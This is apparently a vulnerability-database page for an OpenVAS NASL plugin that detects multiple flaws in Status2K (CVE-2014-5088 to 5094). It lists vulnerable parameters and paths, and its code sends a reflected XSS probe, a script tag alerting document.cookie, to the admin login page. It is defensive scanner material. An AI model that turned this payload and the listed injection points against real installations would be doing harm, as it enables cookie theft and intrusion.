Lucene search

K
openvasCopyright (C) 2014 Greenbone AGOPENVAS:1361412562310804736
HistoryAug 08, 2014 - 12:00 a.m.

Status2K Multiple Vulnerabilities

2014-08-0800:00:00
Copyright (C) 2014 Greenbone AG
plugins.openvas.org
48

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 High

AI Score

Confidence

High

0.184 Low

EPSS

Percentile

96.2%

Status2K is prone to multiple vulnerabilities.

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804736");
  script_version("2023-12-13T05:05:23+0000");
  script_cve_id("CVE-2014-5088", "CVE-2014-5089", "CVE-2014-5090", "CVE-2014-5091",
                "CVE-2014-5092", "CVE-2014-5093", "CVE-2014-5094");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-02-11 01:38:00 +0000 (Tue, 11 Feb 2020)");
  script_tag(name:"creation_date", value:"2014-08-08 11:40:09 +0530 (Fri, 08 Aug 2014)");
  script_name("Status2K Multiple Vulnerabilities");

  script_tag(name:"summary", value:"Status2K is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Send a crafted exploit string via HTTP GET request and check whether it is
  possible to read cookie or not.");

  script_tag(name:"insight", value:"Multiple flaws are due to input sanitization error,

  - 'Username' parameter the login.php script.

  - 'log' GET parameter to the /s2kdir/admin/options/logs.php script.

  - 'Location' parameter to the addlog.php script.

  - 'multies' parameter to the /s2k/includes/functions.php script.

  - 'templates' parameter to the /admin/options/editpl.php script.

  - Failing to remove the /install/ installation directory after the program
  has been installed.

  - Failed to block phpinfo action on the index.php page.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary HTML and
  script code, manipulate SQL queries in the backend database, and disclose
  certain sensitive information.");

  script_tag(name:"affected", value:"Status2K");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_analysis");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/34239");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/69008");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/69009");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/69010");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/69012");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/69013");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/69015");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/69017");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/127719");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

http_port = http_get_port(default:80);

if(!http_can_host_php(port:http_port)){
  exit(0);
}

foreach dir (make_list_unique("/", "/status2k", http_cgi_dirs(port:http_port)))
{

  if(dir == "/") dir = "";

  rcvRes = http_get_cache(item:string(dir, "/admin/login.php"),  port:http_port);

  if(">Status2k" >< rcvRes)
  {
    url = dir + '/admin/login.php';

    postData = "username=%3Cscript%3Ealert%28document.cookie%29" +
               "%3C%2Fscript%3E&password=&Submit=Login+%3E%3E";

    host = http_host_name(port:http_port);
    sndReq = string("POST ", url, " HTTP/1.1\r\n",
                    "Host: ", host, "\r\n",
                    "Content-Type: application/x-www-form-urlencoded\r\n",
                    "Content-Length: ", strlen(postData), "\r\n",
                    "\r\n", postData);
    rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq, bodyonly:FALSE);

    if(rcvRes =~ "^HTTP/1\.[01] 200" && "<script>alert(document.cookie)</script>" >< rcvRes
                                 &&  ">Status2k" >< rcvRes)
    {
      security_message(port:http_port);
      exit(0);
    }
  }
}

exit(99);

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 High

AI Score

Confidence

High

0.184 Low

EPSS

Percentile

96.2%